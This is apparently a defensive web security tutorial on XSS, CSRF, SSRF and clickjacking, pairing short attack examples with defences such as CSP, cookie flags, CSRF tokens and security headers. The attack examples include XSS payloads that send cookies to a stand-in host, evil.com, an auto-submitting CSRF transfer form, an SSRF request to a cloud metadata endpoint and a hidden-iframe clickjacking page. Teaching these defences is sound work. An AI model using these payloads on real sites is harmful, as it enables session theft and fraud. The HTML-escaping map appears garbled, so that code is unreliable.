Web Security Defense in Practice: A Comprehensive Defense System for XSS, CSRF, SSRF & Clickjacking
前端工程(Updated Jun 2, 2026)
Web Security Threat Landscape
| Threat | Impact Scope | Severity | Defense Complexity |
|---|---|---|---|
| XSS | Data theft, session hijacking | High | Medium |
| CSRF | Forged operations, financial loss | High | Low |
| SSRF | Internal network probing, service attacks | High | Medium |
| Clickjacking | Tricked user actions | Medium | Low |
I. XSS (Cross-Site Scripting)
Three Types of XSS
| Type | Injection Point | Persistence | Typical Scenario |
|---|---|---|---|
| Stored | Server-side storage | Persistent | Comments, user nicknames |
| Reflected | URL parameters | Temporary | Search results, error messages |
| DOM-based | Client-side JS | Temporary | URL hash, document.write |
Stored XSS Attack Example
<!-- Attacker injects into comment section -->
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
<!-- Or more stealthy: img tag -->
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
<!-- Or SVG -->
<svg onload="fetch('https://evil.com/steal?c='+document.cookie)">
Defense #1: Output Encoding
function escapeHtml(str) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
};
return str.replace(/[&<>"']/g, (c) => map[c]);
}
// Usage
element.innerHTML = escapeHtml(userInput);
Defense #2: CSP (Content Security Policy)
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; frame-ancestors 'none'
| Directive | Meaning | Example |
|---|---|---|
default-src |
Default policy | 'self' |
script-src |
JS source | 'self' 'nonce-abc123' |
style-src |
CSS source | 'self' 'unsafe-inline' |
img-src |
Image source | 'self' data: https: |
connect-src |
fetch/XHR source | 'self' https://api.example.com |
frame-ancestors |
Embedding source | 'none' (prevents clickjacking) |
Defense #3: HttpOnly Cookie
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
HttpOnly prevents JS from reading cookies via document.cookie, so even if XSS succeeds, session cookies cannot be stolen.
Defense #4: Trusted Types
// Enable Trusted Types API
if (window.trustedTypes) {
trustedTypes.createPolicy('default', {
createHTML: (input) => DOMPurify.sanitize(input),
});
}
// After this, all innerHTML assignments must pass through a policy
element.innerHTML = userInput; // Without a policy, throws an error
II. CSRF (Cross-Site Request Forgery)
Attack Principle
<!-- Hidden form on attacker's website -->
<form action="https://bank.com/transfer" method="POST" id="csrf">
<input type="hidden" name="to" value="attacker_account">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit();</script>
User is already logged into the bank → Cookies are sent automatically → Forged request succeeds.
Defense #1: SameSite Cookie
Set-Cookie: session=abc; SameSite=Strict
| Value | Cross-site Request Includes Cookie | Use Case |
|---|---|---|
Strict |
Does not include | Most secure, but no cookies from external links |
Lax |
Includes for GET requests | Default, balances security & UX |
None |
Always includes | Requires Secure, third-party scenarios |
Defense #2: CSRF Token
// Server generates token
app.use((req, res, next) => {
req.csrfToken = crypto.randomBytes(32).toString('hex');
res.locals.csrfToken = req.csrfToken;
next();
});
// Embed in form
// <input type="hidden" name="_csrf" value="${csrfToken}">
// Server-side validation
app.post('/transfer', (req, res) => {
if (req.body._csrf !== req.csrfToken) {
return res.status(403).send('CSRF token mismatch');
}
// Process transfer
});
Defense #3: Double Cookie Verification
// Frontend: read CSRF token from cookie, put in request header
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-Token': getCookie('csrfToken'),
},
body: JSON.stringify(data),
});
Defense #4: Origin/Referer Check
app.use((req, res, next) => {
const origin = req.headers.origin || req.headers.referer;
if (origin && !origin.startsWith('https://example.com')) {
return res.status(403).send('Invalid origin');
}
next();
});
III. SSRF (Server-Side Request Forgery)
Attack Example
GET /api/fetch?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
169.254.169.254 is the AWS metadata service — attackers can retrieve IAM credentials.
Common Internal Network Targets
| Address | Service | Accessible Info |
|---|---|---|
169.254.169.254 |
AWS Metadata | IAM credentials, instance info |
100.100.100.200 |
Alibaba Cloud Metadata | Security credentials |
metadata.google.internal |
GCP Metadata | Service Account Token |
127.0.0.1:6379 |
Redis | Data, configuration |
127.0.0.1:9200 |
Elasticsearch | Data, cluster info |
Defense #1: URL Whitelist
const ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com'];
function validateUrl(inputUrl) {
const url = new URL(inputUrl);
if (!ALLOWED_DOMAINS.includes(url.hostname)) {
throw new Error('Domain not allowed');
}
if (url.protocol !== 'https:') {
throw new Error('Only HTTPS allowed');
}
// Block special IPs
if (/^(127\.|10\.|172\.(1[6-9]|2\d|3[01])\.|192\.168\.|0\.|169\.254\.)/.test(url.hostname)) {
throw new Error('Private IP not allowed');
}
return url;
}
Defense #2: DNS Rebinding Protection
// Resolve DNS first, validate IP, then make the request
async function safeFetch(inputUrl) {
const url = new URL(inputUrl);
const addresses = await dns.promises.resolve4(url.hostname);
for (const ip of addresses) {
if (isPrivateIP(ip)) throw new Error('Private IP resolved');
}
// Use the resolved IP directly to avoid DNS rebinding
return fetch(`https://${addresses[0]}${url.pathname}`, {
headers: { Host: url.hostname },
});
}
IV. Clickjacking
Attack Principle
<!-- Attacker's website -->
<style>
iframe {
position: absolute;
top: 100px;
left: 200px;
opacity: 0.01; /* Nearly invisible */
}
.decoy-button {
position: absolute;
top: 100px;
left: 200px;
}
</style>
<!-- Decoy button -->
<button class="decoy-button">Click to Claim Coupon</button>
<!-- Transparent iframe of target website -->
<iframe src="https://bank.com/transfer?to=attacker&amount=10000"></iframe>
The user thinks they are clicking "Claim Coupon" but is actually clicking a bank transfer button.
Defense #1: X-Frame-Options
X-Frame-Options: DENY
| Value | Meaning |
|---|---|
DENY |
Cannot be embedded in any page |
SAMEORIGIN |
Only same-origin pages can embed |
Defense #2: CSP frame-ancestors
Content-Security-Policy: frame-ancestors 'self' https://trusted-embedder.com;
frame-ancestors is the modern replacement for X-Frame-Options, supporting whitelists.
Defense #3: JS Frame Busting
if (window.top !== window.self) {
window.top.location = window.self.location;
}
V. Defense-in-Depth Architecture
Layer 1: Input Validation — Server-side validation of all input
Layer 2: Output Encoding — Context-aware escaping
Layer 3: CSP Policy — Restrict resource loading
Layer 4: Cookie Security — HttpOnly + SameSite + Secure
Layer 5: CSRF Token — Verify request origin
Layer 6: Rate Limiting — Restrict request frequency
Layer 7: WAF — Web Application Firewall
Complete Security Headers Configuration
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xxx'; style-src 'self'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 0
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=()
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
#Web安全#XSS#CSRF#SSRF#点击劫持